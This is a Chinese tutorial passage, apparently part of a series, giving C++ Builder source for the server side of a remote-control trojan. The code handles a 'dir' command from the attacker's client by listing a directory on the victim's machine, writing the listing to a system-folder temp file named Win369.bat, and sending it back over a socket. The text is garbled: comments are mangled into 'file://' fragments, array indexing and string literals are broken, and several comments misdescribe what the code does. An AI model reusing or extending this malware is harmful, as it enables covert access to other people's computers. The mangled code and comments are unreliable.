上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树
和文件吧,这在客户端上使用“dir”命令,跟着敲啰:
{
else if(temp.SubString(0,3)=="dir")
{
file://如/果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得/到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从/字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
file://如/果目录名为空
Socket->SendText("Fail By Open DIRs Name");
file://返/回“Fail By Open DIRs Name”信息
goto END;
file://跳/到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如/果打开目录出错
Socket->SendText("Fail by your DIRs name!");
file://返/回“Fail By Your DIRs Name”信息
goto END;
file://跳/到END
}
times_of_try=0;
while(fp==NULL)
{
file://如/果指针是NULL
fp=fopen(TempFile,"w+");
file://就/创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计/数器加1
if(times_of_try>100)
{
file://如/果已经试了100次了,仍未成功(真有耐心!)
Socket->SendText("Fail By Open File");
file://就/发回“Fail By Open File”的错误信息
goto END;
file://并/跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如/果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!=\\)
file://如/果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();
file://加/上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent->d_name).c_str();
file://如/果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得/到目标文件的访问属性
if (attrib & FA_RDONLY)
file://“&”/字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将/目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失/败则写入空格
if (attrib & FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将/目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失/败则写入空格
if (attrib & FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将/目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失/败则写入空格
if (attrib & FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将/目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失/败则写入空格
if (attrib & FA_DIREC)
fwrite("
",sizeof(char),9,fp);
file://将/目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失/败则写入空格
fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
file://将/目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写/入换行
}
fclose(fp);
file://关/闭文件
closedir(dir);
file://关/闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打/开Win369.bat准备读
times_of_try=times_of_try+1;
file://计/数器加1
if(times_of_try>100)
{
file://如/果已经试了100次了,仍未成功
Socket->SendText("Fail By Open File");
file://就/发回“Fail By Open File”的错误信息
goto END;
file://并/跳到END处
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i<300;i++) temp_content=\0;
file://定/义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从/目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text/变量加上刚才的300个字符
for(int i=0;i<300;i++) temp_content=\0;
Read_Num=fread(temp_content,1,300,fp1);
file://重/复
};
Return_Text=Return_Text+temp_content;
file://Return_Text/变量加上刚才的300个字符
fclose(fp1);
file://关/闭目标文件
Socket->SendText(Return_Text);
file://返/回Return_Text变量的内容
}
}
|